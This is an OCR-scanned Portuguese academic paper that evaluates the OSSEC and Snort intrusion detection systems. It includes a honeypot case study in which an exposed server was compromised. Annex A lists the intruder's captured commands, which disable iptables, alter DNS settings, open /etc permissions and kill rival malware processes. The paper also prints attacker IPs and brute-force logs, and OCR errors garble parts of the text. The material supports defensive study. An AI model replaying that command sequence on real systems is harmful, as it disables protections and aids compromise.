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Resumo. Este artigo tem por objetivo analisar os Sistemas de Detecgdo de In-
trusdo: OSSEC e Snort. Serdo abordadas suas caracteristicas, funcionalidades
e um estudo de caso.

Abstract. The aim of this paper is to analyze the Intrusion Detection Systems:
OSSEC and Snort. It will address its features, functionality and a case study.

1. Introducao

Com a crescente utilizacdo da rede de computadores para mais variados fins, como pes-
soal, empresarial, industrial e o desenvolvimento de novas aplicagdes que dependem da
rede e de acesso direto a Internet para prover diversos tipos servigos para usudrios finais.
Novas ameacgas aumentam na medida em que novos servicos e aplica¢des sdo criados, ao
passo que as técnicas de invasdo e de furto de informagdes estdo cada vez mais avangadas
e dificeis de detectar. Atualmente, milhdes de empresas e usuarios j4 utilizam um compo-
nente essencial e indispensavel na sua rede de computadores, que € o firewall; porém, na
maioria das vezes ele trabalha sozinho e atua somente como filtro de pacotes, ndo sendo
capaz de detectar anormalidades e atividades maliciosas na rede de computadores e servi-
dores. Para ajudar a suprir essa deficiéncia e adicionar uma camada a mais de seguranca
na rede, € indispensavel a utilizacdo de Sistemas de Deteccao de Intrusdo (Intrusion De-
tections System — IDS) [Nakamura and Geus 2007].

2. Fundamentacao teorica

Para uma melhor compreensao do assunto, serdo abordados os conceitos de algumas fer-
ramentas, servigos e técnicas que estdo presentes neste artigo.

2.1. Honeypot

Sdo ferramentas que podem ser utilizadas como uma armadilha para hackers que ten-
tam explorar e acessar servicos de uma rede ou servidor. Sdo configurados com
um nivel muito baixo de seguranca para facilitar a invasdo e obter informagdes,
através de logs, dos métodos utilizados pelos hackers para explorar vulnerabilidades
[Didgenes and Mauser 2011].

2.2. Syslog-ng

O Syslog-ng é uma solugdo open source para gerenciamento centralizado de logs. Atua
na arquitetura cliente-servidor, sendo possivel escolher e determinar quais arquivos de
log dos hosts clientes se deseja enviar remotamente para o servidor central. Por padrao
trabalha na porta UDP 514 [Syslog-ng 2014].



2.3. IPTables

O IPTables € uma ferramenta front-end que por padrdo € utilizada por linha de comando
e que serve para configurar as regras do framework Netfilter, que € o firewall do Linux.
O Netfilter [Netfilter 2014] é um firewall baseado em filtro de pacotes, ou seja, ele toma
decisdes baseadas em parametros do pacote, como porta e endereco de origem ou destino,
estado da conexao e outros parametros do pacote. Seu funcionamento ocorre através da
comparagdo de regras para saber se um pacote tem ou ndo permissdo para passar. Com
a ferramenta iptables [IPTables 2014], € possivel inserir e apagar regras das tabelas de
filtragem de pacotes diretamente no kernel do Linux. Dentre suas principais funcionalida-
des pode-se citar bloqueios e liberacdes de portas, IPs, redirecionamentos de portas com
NAT (Network Address Translation), entre outras.

2.4. Rootkit

O Rootkit [Cert 2014] é composto de um conjunto de programas e técnicas que permitem
esconder e assegurar a presenca de um invasor ou de outro c6digo malicioso em um
computador comprometido. Podem ser utilizados para remover evidéncias em arquivos de
logs; instalar outros c6digos maliciosos, como backdoors, para assegurar o acesso futuro
ao computador infectado; esconder atividades e informacdes, como arquivos, diretorios,
processos, chaves de registro, conexdes de rede; mapear potenciais vulnerabilidades em
outros computadores, por meio de varreduras na rede e capturar informacdes da rede onde
o computador comprometido esté localizado, pela interceptacdo de trafego [Cert 2014].

2.5. Malware

O Malware [Cert 2014] é um cd6digo computacional programado especificamente para
executar acoes danosas e atividades maliciosas em um computador. A forma de infiltragao
desses codigos pode ocorrer através de vulnerabilidades existentes nos programas ins-
talados; pela autoexecucdao de midias removiveis infectadas, como pen-drives; acesso
a paginas Web maliciosas, utilizando navegadores vulnerdveis; acdo direta de atacan-
tes que, apods invadirem o computador, incluem arquivos contendo c6digos maliciosos
e pela execugdo de arquivos previamente infectados, obtidos em anexos de mensagens
eletronicas.

2.6. Backdoor

E um tipo de cédigo malicioso que permite o retorno de um invasor a um computador
comprometido, por meio da inclusdo de servigos criados e modificados para esse fim.
Normalmente esse programa € colocado de forma a ndo a ser notado, atuando de forma
oculta no sistema e em portas nao conhecidas. [Cert 2014].

2.7. Botnet

A Botnet é uma rede formada por centenas ou milhares de computadores zumbis e que
permite potencializar as acdes danosas executadas pelos bots. Quanto mais zumbis parti-
ciparem da botnet, mais potente ela serd. O atacante que a controlar, além de usa-la para
seus proprios ataques, também pode alugé-la para outras pessoas ou grupos que desejem
que uma a¢ao maliciosa especifica seja executada [Cert 2014].



2.8. Ataque buffer overflow

Os ataques desta natureza exploram vulnerabilidades em aplicacdes, servicos, sistemas
operacionais e protocolos que funcionam no nivel de aplica¢do. Frequentemente aconte-
cem em aplicagdes que realizam interacao do usudrio com o sistema. Condig¢oes de buffer
overflow s@o a causa de grande parte das vulnerabilidades encontradas. Atualmente, o
maior problema estd em SQL Injection (https://www.owasp.org/index.php/Top_10_2013-
Top_10) e podem ser consideradas falhas de alto risco [Nakamura and Geus 2007].

2.9. Port Scanning

E uma técnica que é utilizada através de ferramentas chamadas de port scanners,
com a finalidade de fazer varreduras nas portas TCP e UDP, identificando as por-
tas ativas do sistema operacional e servicos que estdo sendo providos em cada porta
[Nakamura and Geus 2007].

2.10. SYN flooding

Esse tipo de ataque explora o mecanismo de estabelecimento de conexdes TCP, baseado
no handshake de trés vias. O ataque consiste no envio simultaneo de varias requisi¢oes de
conexdes para um determinado host, de tal forma que o mesmo para de responder devido
ao grande nimero de conexdes. Essa técnica é muito utilizada para realizar ataques de
DoS (Denial-of-Service) [Nakamura and Geus 2007].

3. Incidentes de seguranca

Para evidenciar e comparar o crescimento de incidentes relacionados a seguranga foram
utilizados dados reais divulgados pelo CTIR Gov (Centro de Tratamento de Incidentes
de Seguranca de Redes de Computadores da Administracdo Publica Federal — APF) que
demonstram com clareza a quantidade de incidentes relacionados por categoria, que ocor-
reram em Orgdos federais do governo. Conforme [Ctir 2014] a quantidade de incidentes
reportados no quarto trimestre do ano de 2013 foi de 2.056, contra 2.394 do primeiro
trimestre de 2014, ou seja, houve um aumento de 16,44%. Na Figura 1 € possivel acom-
panhar a evolucdo dos incidentes identificados por categoria.

4. IDS (Intrusion Detections System)

O sistema de detec¢do de intrusdo (Intrusion Detections System - IDS) [Moraes 2010] €
um componente de defesa essencial para seguranga em um ambiente de producido. Tem
a capacidade de detectar diversos ataques e intrusdes, contribuindo na protecao do am-
biente. Sua localizacdo é um dos pontos a serem definidos com cuidado. Atualmente
existem novos tipos de sistemas que procuram nao apenas detectar, mas também prevenir
os ataques, estes sao chamados de sistemas de prevengao de intrusao (Intrusion Preven-
tion System - IPS).

4.1. Tipos de IDS

Os principais tipos de sistemas IDS sdo - o sistema baseado em rede (NIDS), o baseado
em host (HIDS) e o IDS hibrido (Hybrid IDS), que aproveita as melhores funcionalidades
do HIDS e do NIDS.
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Figura 1. Incidentes reportados pelo CTIR Gov [Ctir 2014].

4.1.1. HIDS (Host-Based Intrusion Detection System)

O sistema de deteccdo de intrusdo baseado em host (HIDS) [Nakamura and Geus 2007]
faz o monitoramento do sistema, com base em informagdes de arquivos de logs ou de
agentes de auditoria. O HIDS pode ser capaz de monitorar os acessos e alteracdes em
arquivos importantes do sistema, modificacdes nos privilégios dos usudrios, processos do
sistema e programas que estao sendo executados. Ele também pode realizar, por meio de
checksum, a checagem da integridade dos arquivos do sistema. Essa € uma caracteristica
importante, porque arquivos alterados ou corrompidos podem ser backdoors que estao
comprometendo o sistema.

4.1.2. NDIS (Network-Based Intrusion Detection System)

O sistema de detec¢do de intrusdao baseado em rede (NIDS) [Nakamura and Geus 2007]
monitora o traifego de um ou mais segmentos da rede, geralmente com a interface de
rede atuando em modo promiscuo. A detec¢do € realizada com a captura e anélise dos
cabecalhos e conteudos dos pacotes, que sdo comparados com padrdes ou assinaturas
conhecidos. O NIDS ¢ eficiente principalmente contra ataques como port scanning, 1P
spoofing ou SYN flooding. Também ¢é capaz de detectar ataques de buffer overflow e
ataques contra um servidor Web, por exemplo, por meio da utilizacdo de uma base de
conhecimento com padrdes e assinaturas de ataques.



4.1.3. Localizacao do IDS

O IDS pode ser utilizado em diversos pontos da rede de uma empresa. A posi¢do a ser
adotada ird depender da topologia da rede da empresa e do nivel de protecao especifico
que se deseja no ponto escolhido. Alguns pontos que em que o Network-Based Intru-
sion Detection System (NIDS) e o Host-Based Intrusion Detection System (HIDS) podem
ser utilizados sao exemplificados na Figura 2. O IDS pode ser configurado em diver-
sos modos, sendo que sua localizacdo determina o modo de operagdo do mesmo. Caso
seja utilizado juntamente com o firewall, ele atua no modo in-line, ou seja, todo trafego
que passa por ele € capturado. No momento que encontrar alguma anormalidade em um
pacote e coincidir com uma regra pré-estabelecida, o IDS poderd tomar uma a¢ao de blo-
queio de tal traifego. Também pode ser utilizado somente para monitorar o trafego de
uma rede, capturando e registrando todos eventos anormais em um banco de dados. Para
esse modo funcionar adequadamente € necessario utilizar um switch com suporte a port
mirroring e realizar o espelhamento das portas que se deseja monitorar na porta em que o
servidor do IDS estiver conectado [Didgenes and Mauser 2011].
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Figura 2. Posicionamento do IDS na rede [Nakamura and Geus 2007].

5. (OSSEC)

O OSSEC ¢ um sistema open source de deteccao de intrusao baseado em host (HIDS),
licenciado sob a licenca GNU GPL v.2. Foi desenvolvido inicialmente por um brasileiro,
Daniel Cid. No ano de 2004, seu projeto foi adquirido pela empresa Third Brigade, Inc.
[Third 2014] e, em 2009, estd empresa foi adquirida pela Trend Micro, com promessa
de continuar a contribuir com a comunidade open source e de manté-lo aberto e livre. E



um sistema multi-plataforma e estd disponivel para instalacdo em todas as distribuicdes
GNU/Linux, sistemas BSD, Windows, Solaris, Mac OS, VMWare ESX, AIX e HP-UX
[OSSEC 2014].

5.1. Recursos e funcionalidades

Os principais recursos do OSSEC sao a andlise de logs, verificagdo de integridade do
sistema, deteccdo de rootkits, alerta em tempo real, resposta ativa, monitoramento do re-
gistro do Windows e envio de eventos por email. O sistema OSSEC pode ser instalado de
trés formas: servidor, local ou agente. A opc¢iao servidor possibilita 0 OSSEC monitorar
e coletar dados de outros hosts e também de si proprio. J4 a instalacdo local monitora
somente o sistema onde o mesmo esté instalado e a op¢do agente € utilizada para moni-
torar os hosts clientes que enviam seus logs para o servidor central. Sua base de registros
coletados fica em um arquivo proprio de logs, mas também € possivel a integracdo com
banco de dados MySQL, PostgreSQL, Oracle e MSSQL [OSSEC 2014].

5.2. OSSEC (Web User Interface)

E uma interface Web open source desenvolvida para ser utilizada em conjunto com o
OSSEC HIDS, possibilitando a visualizagdo dos eventos registrados em tempo real e a
realizacdo de consultas dos monitoramentos por data de inicio e fim. Para realizar sua
instalacdo requer que os seguintes pacotes estejam instalados: apache, php e o préprio
OSSEC HIDS. O acesso a ferramenta € realizado através do browser com usuario e senha
configurados apds sua instalagdo. Na Figura 3 € possivel visualizar a interface grafica da
ferramenta.

Wﬁ?

Main Search Integrity checking Stats About

June 19th 2014 04:22:55 PM

Alert search options:

O pyom: 0140427 1521 L8 To: Eoid0EdE 16 Lo

{” Real time monitoring

Minimnrmn levels ﬁll;l Category: Roatkit detection ;I
Fattern: Log formnatz: Al log formats ;I

Sroipe T=er:

Location: Ruleid:

Max slerts: 1000

Results:

Total alerts found: =7

Figura 3. OSSEC -Web User Interface.



6. Snort

O Snort € um sistema open source de detec¢ao e prevengao de intrusido baseado em rede
NIDS, licenciado sob a licenca GNU GPL v.2. E capaz de realizar andlise de trafego
em tempo real e realizar o registros dos pacotes capturados em um determinado banco
de dados. Foi desenvolvido em 1988, por Martin Roesh, o fundador da Sourcefire, Inc.
[Sourcefire 2014], empresa que mantém o desenvolvimento do Snort até os dias atuais
e que recentemente foi adquirida pela Cisco Systems, Inc. As principais plataformas
suportadas pelo Snort sdo Linux, BSD, Windows e MacOS X [Snort 2014].

6.1. Recursos e funcionalidades

O Snort atua capturando o trifego que estd na rede em que foi configurado para atuar.
Instantaneamente apds a captura, ele analisa o contetido dos pacotes que foram coletados
e realiza uma comparacdo com a base de assinaturas que possui em busca de ativida-
des suspeitas na rede. Caso ele detecte alguma atividade suspeita, pode tomar uma agao
pré-determinada ou somente registra-la. Tais acdes variam de acordo com a configuracao
que o administrador do sistema realizou, podendo ser uma regra de bloqueio por firewall,
envio de alerta por email, entre outras. Possibilita interacdo com vérios bancos de da-
dos como PostgreSQL, MySQL, Oracle e MSSQL. Atualmente, diversas distribuicdes
firewall ja possuem o Snort integrado, como o Endian firewall [Endian 2014], pfSense
[PfSense 2014], Untangle [Untangle 2014] e ClearOS [ClearOS 2014].

6.2. BASE (Basic Analysis and Security Engine)

O BASE (Basic Analysis and Security Engine) [Base 2014] possibilita realizar de forma
amigavel consultas em um banco de dados e analisar os alertas gerados pelo IDS Snort.
Esta licenciado sob a licenca GNU GPL v.2. Para realizar sua instalacdo € necessario
ter os pacotes apache, php, MySQL instalados. Tem uma interface grafica Web que é
acessada pelo browser através de um usudrio e senha previamente configurados. A Figura
4 demonstra a interface da ferramenta implementada.
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Figura 4. Snort - BASE.



Tabela 1. Configuracao de hardware das maquinas virtuais.

Softwares CPU Memoria RAM | HD | Sistema Operacional
OSSEC 2.7 1,73 GHz 512 MB 20 GB Debian 6.0
Snort 2.8.5 1,73 GHz 512 MB 20 GB Debian 6.0

Syslog-ng 3.1.3 1,73 GHz 512 MB 20 GB Debian 6.0
Ferramentas de teste | 1,73 GHz 512 MB 20 GB Backtrack 5R3

7. Cenario de testes

O cenario de testes foi idealizado sob ambiente virtualizado com VMWare, contando
com quatro maquinas virtuais; em duas delas estdo instalados os sistemas de deteccdo de
intrusdo OSSEC e Snort; a terceira possui o servidor de logs syslog-ng, onde sdo arma-
zenados os logs enviados pelo servidor, onde o0 OSSEC esta instalado e a quarta maquina
virtual possui as ferramentas para testes. A Tabela 1 mostra detalhes das méaquinas virtu-
ais e sistemas instalados.

7.1. Seguranca do cenario

Para prover seguranca ao perimetro da rede no qual estdo localizados os dispostivos pes-
soais como: smartphones, tablets e notebooks, foi necessario isolar a rede do ambiente
virtualizado utilizando um access point com suporte a firewall, mais especificamente que
trabalhasse com o iptables para o gerenciamento de regras personalizadas, como de blo-
queio de IPs, portas e redirecionamentos. A Figura 5 representa a topologia do cendrio
que foi montado para realizagdo dos estudos e testes.
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Figura 5. Topologia do cenario de testes.



8. Testes realizados

Foram realizados testes durante o periodo de maio a junho de 2014, onde as mdquinas vir-
tuais ficaram ligadas vinte quatro horas por dia. No inicio dos testes o objetivo foi de ve-
rificar o correto funcionamento dos sistemas e realizar diversos ajustes em configuragoes
e servigos dos sistemas IDS, servidor de logs, personaliza¢do da seguranca na topologia
do ambiente e adequacdo das regras de firewall nos hosts envolvidos, para uma posterior
exposicao desses sistemas diretamente na Internet.

8.1. Teste 1

Os testes preliminares comegaram a ser realizados com o OSSEC HIDS, onde foram ex-
ploradas suas funcionalidades e sua eficiéncia. Para testar sua fungdo de verificacdo de
integridade, foram alterados alguns arquivos de configuracdo e de servigos do sistema.
Apos as mudancas, foi verificado atrdves de sua interface Web, que tais arquivos tinham
sofrido modifica¢Oes, conforme pode ser visto na Figura 6. Porém, verificou-se que o OS-
SEC HIDS nio € capaz de identificar o que foi alterado dentro desses arquivos, somente
que houve a modificacdo.

Para testar a funcdo de resposta ativa, foram realizadas vérias tentativas de
autenticacao via SSH e HTTP, com usudrios legitimos, inexistentes e utilizando senhas
erradas (Figura 6). Apds, em média, dez tentativas consecutivas, o firewall entrou em
acdo, realizando um drop no IP que tentou realizar os acessos e apds determinado tempo
ele realiza o desbloqueio do /P (Figura 6). Outro teste interessante realizado foi alterar as
permissoes de um usudrio comum para ter privilégios de root. Ap0s essa alteragcdo, foram
gerados alertas informando tal acdo e foi detectada a existéncia de um usudrio com poder
de root (Figura 7).

2014 May 18 01:08:29 Rule 1d: 550 level: 7 2014 Jun 18 22:54:47 Rule Id: 5720 level: 10
Location: oss->syscheck Locatt_on: oss->fvarflogfauth.log

Sre IP: y checksum changed for: 'fetefsshisshd_config’ Src IP: 192.168.1.100 -

Integrity checksum changed. Multiple SSHD authentication failures.

Jun 18 22:54:45 oss sshd[3274]: Falled password for root from 192.168.1.100 port S0911 sshz
Old mdSsurn WaES: 'e24F'N9308133327694Fd584339bb2?l?‘ Jun 18 22:54:21 oss sshd%32?4%: Failed password for root from 192.168.1.100 port 50911 ssh2
Mew rdSsum is : 'b57955c5feb23561b7e512724359b85e Jun 18 22:54:14 oss sshd[3274]: Failed password for root from 192.168.1.100 port 50911 ssh2
Old shaisumn was: '853a653e20104399f45569add59b1e72be5c20"  yyn 18 22:54:05 oss sshd[3274]: Failed password for root from 192.168.1.100 port 50911 ssh2
New shalsum is : '2f4831a9ed725bb8c2197328e47425826da7d286"  Jun 18 22:53:52 oss sshd[3274]: Failed password for root from 192.168.1.100 port 50911 sshz
Jun 18 22:50:439 oss sshd[3228]: Failed password for root from 192.168.1,100 port 50894 ssh2

2014 May 18 01:07:31 Rule Id: 550 level: 7 Jun 18 32'_50:39 038 sghd[zzza]: F:'leEd pass.\verd for root from 192.168.1.100 port 50834 ssh2
Location: 0ss->syscheck Jun 18 22:50:35 oss sshd[3233]: Failed p.aﬁss.it(-rd for root from 1%2.168.1.100 port S0887 ssh2
Src 1P: v checksum changed for: ‘fetc/relocal’ = ‘admin@oss:~ E’]
Integrity checksum changed. fle Edt View Terminal Help
Old mdSsurmn was: 'L0fd9f0SL1acchefd1f7S3f2d48371890" target prot opt source destination [
New mdSsum is : 'eafea3fl7e935d7694fcSfbSc16dfase’ root@oss:~# iptables -nL
Old shalsum was: 'a®ca22d71797c9bb82421c9885f3412df543242° chain INUT (policy ACCEPT)
New shalsum is ; 'fecd6c47cadde391d5a98af6303da7daf7fe738e" target prot opt source destination

DROP all - 192,168.1.100 0,0.0.0/0
2014 May 16 11:25:27 Rule Id: 550 level: 7
Location: oss->syscheck Chain FORWARD (policy ACCEPT)
Src IP: y checksum changed for: 'fete/motd' target  prot opt source destination
Integrity checksum changed. DROP all - 192.168.1.100 0.0.0.0/0
New mdSsum is : 'e2ddela3f0af0fd342420b580defaces’
Old shalsurm was: '564fd62976379005c5eecco198092e513fgafzq’ | Choin OUIRUT (policy accerr) destination B
New shalsum is | '09692087e8994747eb852483f9e9ee5e2356c73" rw‘g@oss__a"l PL source esting |

Jun 21 18:15:28 oss snoopy[19022]: [uid:0 sid:2048 tty: cwd:/ filename:/var/ossec/active-response/bin/firewall-drop.sh]: /var/ossec
/active-response/bin/firewall-drop.sh delete - 192.168.1.100 1403384697,.37940 30109 /var/log/apache2/error.log

Figura 6. Verificacao de integridade, tentativas de autenticacao e firewall drop.

Além dos alertas gerados pelos testes, notou-se outros eventos que estavam sendo
monitorados no sistema. Foi possivel verificar que o OSSEC também identifica problemas
como mau funcionamento de um servi¢o, com base nos seus logs e também realiza um
processo de auditoria com base na distribuicdo Linux em que ele foi instalado, gerando
alertas de boas préticas de seguranca que podem ser modificadas para tornar o sistema
mais seguro, (Figura 7).



2014 Jun 08 20:53:31 Rule Id: 516 level: 3

Location: oss- >rootcheck

Src IP udit: CIS - Debian Linux 7.3 - User-mounted removable partition fmedia. File: fetc/fstab. Reference:
L/ wikifindex.php/CIS_DebianLlinux .

: G-t 0 - 0ssec,rootcheck,
2014 Jun 08 20.53.31 oss->rootcheck

Rule: 5186 (level 3) -> 'System Audit event.
System Audit: CIS - Debian Linux 13.14 - Non-root account with uid 0. File: fetc/passwd. Réference: http://www.ossec.net
Jwikifindex.php/CIS_DebianLinux .

2014 Jun 08 20:53:31 Rule Id: 516 level: 3

Location: oss- >rootcheck

Src IP: udit: CIS - Debian Linux 7.2 - Removable partition fmedia without 'nodey' set. File: fetc/fstab.
Reference: http://www.ossec.netf/wikifindex.php/CIS_DebianLinux .

System Audit event.

% Alert 1402271611.47910: - ossec,rootcheck,

2014 Jun 08 20:53:31 oss->rootcheck

Rule: 516 (level 3) -> 'System Audit event.'

System Audit: CIS - Debian Linux 7.2 - Removable partition /media without ‘nosuid’ set. File: fetc/fstab. Reference:

http: //www.ossec.net/wikifindex.php/CIS_DebianLinux .

2014 Jun 08 20:53:31 Rule Id: 516 level: 3

Location: oss->rootcheck

Src IP: udit: CIS - Testing against the CIS Debian Linux Benchmark v1.0. File: fetc/debian_version. Reference:
http://www.ossec.net/wikifindex.php/CIS_DebianLinux .

System Audit event.

*¥ Alert 1402271611.45487: - ossec,rootcheck,

2014 Jun 0B 20:53:31 oss->rootcheck

Rule: 516 (level 3) -> 'System Audit event.'

System Audit: CIS - Debian Linux 1.4 - Robust partition scheme - /tmp is not on its own partition, File: fetc/fstab. Reference:

http: /fwww.ossec.netfwikifindex_php/CIS_DebianLinux .

2014 May 18 22:37:53 Rule Id: 516 level: 3

Location: oss- >rootcheck
Src IP: udit: CIS - Debian Linux 3.3 AJelnet enabled on inetd, Vile: fetc/inetd.conf. Reference:

http://www.ossec.netfwikifindex.php/CIS_Debta o
System Audit event.

#*% Alert 1400463530.337425: - apache,

2014 May 18 22:38:50 oss->/var/log/apache2/error.log

Rule: 31410 (level 3) -> 'PHP Warning message.'

SrelP: 177.194.204.49

Figura 7. Auditoria.

8.2. Teste 2

Nesta etapa, para realizar testes com o Snort NIDS, foram utilizadas ferramentas de port
scan, UDP flood e ICMP Excessive, que estdo presentes na distribui¢do Backtrack Linux
[Bt 2014]. O principal objetivo do teste era verificar a capacidade do Snort de detectar a
acdo dessas ferramentas no perimetro de rede que estava monitorando. Conforme Figura
8, observa-se que o mesmo foi capaz de alertar os trés tipos de ataques, mostrando que
¢ uma ferramenta muito eficiente ao registrar todo trafego malicioso na rede. Durante
os primeiros testes realizados com ICMP, uma assinatura do Snort detectou um trafego
como sendo de flood em servigo SIP, ou seja, era um falso positivo. Como € de conheci-
mento que ndo havia nenhum servigo SIP na rede, a assinatura foi desabilitada e apds esta
alteracdo, o Snort comegou a identificar corretamente, conforme pode ser visto na Figura
8.

8.3. Teste 3

Este teste foi o grande desafio do projeto, pois consistiu em colocar o servidor com OS-
SEC HIDS exposto diretamente na Internet atuando como um honeypot, ativado com
servicos de SSH, Telnet, FTP, HTTP, com suas respectivas portas abertas para o mundo
inteiro. Para facilitar o acesso de um invasor, foi alterada a senha de root para admin e foi
criado um usuario admin com senha admin. O papel do Snort NIDS neste teste foi atuar
no monitoramento do ambiente de rede para registrar atividades do futuro invasor.
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Figura 8. Snort deteccao de anormalidades.

Durante as duas primeiras semanas em que o sistema foi colocado aberto na Inter-
net, ja comegou a sofrer ataques de brute-force na porta do SSH, (Figura 9). A origem dos
ataques foi proveniente de varios paises, como: China, Estados Unidos e Turquia, sendo
possivel consultar os IPs registrados através do site [Ipligence 2014], que faz consultas
em um banco de dados em que estdo cadastrados os blocos de IPs destinados a cada pais.

Na madrugada da terceira semana, o sistema foi invadido. A autenticagdo reali-
zada com sucesso pelo invasor e foi verificada através da interface Web do OSSEC; Na
sequéncia o mesmo apagou todos os logs e histérico do sistema. Apds constatada a in-
vasdo, foram verificados os processos, portas abertas, consumo de CPU e foi possivel
identificar que a mdquina ja estava infectada com algum script malicioso rodando pro-
cessos € com alto consumo de CPU. Virios IPs estavam com conexdes estabilizadas
em diferentes portas. O OSSEC conseguiu identificar a autenticagdo com sucesso do
invasor, a reducdo do tamanho do arquivo de logs e a mudanca realizada no arquivo
/etc/profile, porém nao possui a funcionalidade de registrar os comandos executados no
sistema. Como o servidor de /ogs ainda nado estava ativo, ndo foi possivel buscar mais
informagdes do processo de invasdo ocorrido no sistema. Foi necessdrio mudar a es-
tratégia do ambiente para ser possivel obter informac¢des mais detalhadas de como o in-
vasor estava atuando.

As medidas estratégicas adotadas foram realizar um restore do snapshot do servi-
dor a uma situagdo anterior em que ainda ndo tinha sido comprometido, ativar um novo



2014 May 16 17:01:09 Rule Id: 5720 level: 10

Location: oss-=/var/log/auth.log

Src IP: 144.0.0.32

Multiple SSHD authentication failures.

May 16 17:01:09 oss sshd[4307]: Failed password for root from 144
May 16 17:01:07 oss sshd[4304]: Failed password for root from 144 Z port 42637 sshz
May 16 17:01:07 oss sshd[4303]: Failed password for root from 144 2 paort 42640 sshz

0.0.32 port 42647 sshz
0.0.3
0,03
May 16 17:01:06 oss sshd[4302]: Failed password for root from 144.0.0.32 port 42631 ssh2
0.0.3
0,03
0,03
0.0.3

May 16 17:01:05 oss sshd[4303]: Failed password for root from 144 2 port 42640 sshz
May 16 17:01:03 oss sshd[4302]: Failed password for root from 144 Z port 42631 sshz
May 16 17:01:03 oss sshd[4311]: Failed password for root from 144 2 port 42643 sshz
May 16 17:01:03 oss sshd[4303]: Failed password for roaot fram 144 2 port 42640 sshz

2014 May 13 21:13:11 Fule Id: 5720 level: 10
Location: Debian-A-=/var/og/auth.log
Src IP: 222.163.192.163

Multiple SSHD authentication failures.

May 13 21:13:10 Debian-A sshd[5273]; Failed password for root from 222.163.192.163 port 37115 sshz
May 13 21:13:09 Debian-4 sshd[5270]: Failed password for root from 222.163.192.163 port 37090 sshZ
May 13 21:13:09 Debian-4 sshd[5271]: Failed password for root from 222.163.192.163 port 37097 sshZ
May 13 21:13:08 Debian-A sshd[5274]: Failed password for root from 222.163.192.163 port 37113 sshz
May 13 21:13:06 Debian-4 sshd[5273]: Failed password for root from 222.163.192.163 port 37115 sshz
May 13 21:13:06 Debian-A sshd[S270]: Failed password for root from 222.163.192.163 port 37090 sshz
May 13 21:13:05 Debian-& sshd[5274]: Failed password for root from 222.163.192.163 paort 37113 sshz
May 13 21:12:52 Debian-4 sshd[5235]: Failed password for root from 222.163.192.163 port 53313 sshZ

2014 May 13 14:50:09 Rule Id: 5720 level: 10
Location: Debian-A-=/var/log/auth.log
SrcIP: 74.223.27.243

Multiple SSHD authentication failures.

May 13 14:50:08 Debian-4 sshd[Z1443]: Failed password for root from 74.223.27.243 port 53865 ssh2
May 13 14:50:08 Debian-A sshd[21441]: Failed password for root from 74.223.27.243 port 53844 ssh2
May 13 14:50:03 Debian-& sshd[21429]: Failed password for root from 74.223.27.243 port 45085 ssh2
May 13 14:50:0Z2 Debian-4 sshd[21425]: Failed password for root from 74.223.27.243 port 448638 sshz
May 13 14:49:58 Debian-A sshd[21419]; Failed password for root from 74.223.27.243 port 44943 ssh2
May 13 14:49:55 Debian-4 sshd[21403]: Failed password for root from 74.223.27.243 port 44550 sshz
May 13 14:49:48 Debian-4 sshd[21393]: Failed password for root from 74.223.27 243 port 44352 sshz
May 13 14:49:44 Debian-A sshd[21383]: Failed password for root from 74.223.27.243 port 44109 ssh2

Figura 9. Tentativas de brute-force.

servidor de logs com o centralizador de logs syslog-ng com regras de firewall configura-
das para aceitar conex0es somente na porta 514. Esta porta € a responsavel pela recepgao
do log enviado pelos clientes. Para registrar os comandos executados no sistema foi ins-
talada a ferramenta Snoopy Logger [Snoopy 2014], que armazena em um log tudo que foi
executado.

ApOs todas alteragdes, o servidor foi exposto novamente na Internet € em poucas
horas o invasor ja estava de volta; Desta vez todos comandos estavam sendo registrados
e enviados para o servidor de logs através da porta UDP 514, conforme pode ser visto na
Figura 10 e Anexos A e B.

Apos duas semanas de invasdo, a fim de verificar o comportamento do malware
implantado no host com o OSSEC HIDS instalado, foram liberadas no roteador as portas
25 e 587, que sdo portas padrao para envio de email com protocolo de SMTP. Passadas
cinco horas da liberacdo, verificou-se um alto consumo de CPU e consequentemente alto
trafego de saida para a Internet, em média 4 Mbit/s verificados com a ferramenta iptraf
[Iptraf 2014], ou seja, o host estava sendo usado pelo atacante para execucao de atividades
maliciosas, como envio de spam para milhares de hosts. Conforme trafego coletado pelo
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Figura 10. Snoopy - logs / Syslog-ng - Envio de logs.

Snort o host também foi utilizado para realizar escaneamentos na rede interna e para uma
vasta faixa de enderecos /Ps validos.

9. Conclusoes

O projeto proporcionou um estudo prético dos sistemas de seguranca IDS, possibilitando
um melhor entendimento de como as ferramentas funcionam e como hackers atuam ex-
plorando falhas de seguranca. O sistema OSSEC mostrou-se de grande eficiéncia nas
funcionalides que a ferramenta se propde, pois conseguiu detectar diversos eventos no
host que foi instalado e gerar alertas similares ao Snort, porém como foi configurado para
realizar somente monitoramento no host local, conseguiu detectar apenas eventos locais.

O OSSEC detectou diversas tentativas de brute-force na porta padrao do SSH e tel-
net respondendo a esses ataques de forma ativa e bloqueando através do iptables. Também
verificou a integridade dos arquivos modificados no sistema, registrou os acessos realiza-
dos, identificou os rootkits que foram instalados pelo invasor e outras anormalidades de
seguranca do sistema. O sistema Snort também cumpriu seu papel, detectando paco-
tes UDP e ICMP anormais na rede gerados pelo script de flood e Hping3 [Hping 2014],



identificou varreduras de portas realizadas com a ferramenta Nmap [Nmap 2014] e port
scans realizados pelos invasores tanto para rede local como para hosts externos.

Pode-se concluir que as duas ferramentas propostas para andlise conseguiram re-
alizar um trabalho em conjunto, detectando vérios problemas e riscos relacionados a
seguranca de sistemas, que podem ocorrer em um ambiente corporativo. Enquanto uma
atuava verificando os eventos que estavam ocorrendo no host, a outra complementava,
verificando o trafego malicioso no perimetro de rede do ambiente de testes. Pode-se ve-
rificar na Figura 11 os graficos com o total de alertas gerados pelas duas ferramentas
durante todo periodo de testes.
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Figura 11. Alertas OSSEC e Snort.
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10. Anexos

10.1. Anexo A

Abaixo a sequéncia de comandos executados pelo invasor.

Accepted password for root from 116.10.191.232 port 25248 ssh2
session opened for user root by (uid=0)

subsystem request for sftp
Jusr/libfopenssh/sftp-server a )

Jetcfinit.d/iptables stop
echo "nameserver 8.8.8.8" >> fete/resolv.conf
echo "nameserver 8.8.4.4" >> fetc/resolv.conf

yum -y install wget
chmod 7777 [ etc

killall -9 .IptablLes
killall -9 nfsd4
killall -9 profild. key

cd fete;rm -rf dir fake.cfg

killall -9 nfsd

killall -9 DDosl
killall -9 lengchao32
killall -9 b2&

killall -9 Bill

killall -9 n26

killall -9 1

killall -9 codelove
killall -3 32

killall -9 m32

killall -9 m&4

killall -9 64

killall -9 83BOT
killall -9 82BOT
killall -9 dos64
killall -9 dos32
killall -9 new6
killall -9 new4
killall -9 node24
